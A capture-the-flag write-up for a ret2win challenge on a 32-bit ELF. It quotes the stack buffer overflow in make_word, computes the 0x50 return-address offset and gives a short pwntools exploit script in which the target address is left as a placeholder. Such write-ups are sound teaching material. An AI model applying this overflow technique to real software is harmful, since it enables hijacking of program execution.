Challenge overview

ordbog is a 32-bit ELF with a menu:

  • add <length>
  • show
  • exit

This is a ret2win challenge.

Source

Source was available (ordbog.c), and the bug is directly visible in make_word:

char *make_word(int length) {
    char buffer[64];
  
    fread(buffer, 1, length, stdin);
    char *word = malloc(length + 1);
    memcpy(word, buffer, length);
    word[length] = '\0';
    return word;
}

buffer is 64 bytes, but fread uses user-controlled length with no upper bound. That is a stack overflow.

The win function entry is:

08049256 <win>:

and it clearly reads flag.txt and prints it:

call   8049110 <fopen@plt>
call   80490a0 <fgets@plt>
call   8049060 <printf@plt>

Offset

Static layout from make_word shows the saved return address is 0x50 bytes past the start of the local buffer, so the total length is 0x54 (84):

saved_ret - buffer_start
= (ebp + 0x4) - (ebp - 0x4c)
= 0x50

Exploit

from pwn import *

context.log_level = "error"

#io = process("./ordbog", stdin=PIPE, stdout=PIPE)
r = remote('challenge.url', 1337, ssl=True)

r.sendline(b"add 84")
r.send(b"A" * 0x50 + p32(0x????????))
print(r.recvall().decode(errors="replace"))

Result

Congratulations! Here is your flag: DDC{..}